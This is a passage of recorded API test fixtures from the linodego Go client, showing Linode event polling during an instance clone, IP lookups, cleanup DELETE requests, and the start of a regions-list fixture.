"go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": "0:00", "rate": "247.00 MB/s", "duration": 66.747353, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": "0:00", "rate": "247.00 MB/s", "duration": 66.806195, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": "0:00", "rate": "247.00 MB/s", "duration": 66.868923, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": "0:00", "rate": "247.00 MB/s", "duration": 66.945927, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": "0:00", "rate": "247.00 MB/s", "duration": 67.016409, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": "0:00", "rate": "247.00 MB/s", "duration": 67.073927, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": "0:00", "rate": "247.00 MB/s", "duration": 67.136319, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": "0:00", "rate": "247.00 MB/s", "duration": 67.198876, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": 67.0, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "finished", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "544" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/49042888/ips method: GET response: body: '{"ipv4": {"public": [{"address": "172.234.32.9", "gateway": "172.234.32.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "172-234-32-9.ip.linodeusercontent.com", "linode_id": 49042888, "region": "us-iad"}], "private": [{"address": "192.168.159.174", "gateway": null, "subnet_mask": "255.255.128.0", "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 49042888, "region": "us-iad"}], "shared": [], "reserved": []}, "ipv6": {"slaac": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 49042888, "region": "us-iad", "public": true}, "link_local": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 49042888, "region": "us-iad", "public": false}, "global": []}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "943" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/49042888 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/49042875 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestInstance_ConfigInterface_Update.yaml000066400000000000000000000745051455402072200344070ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 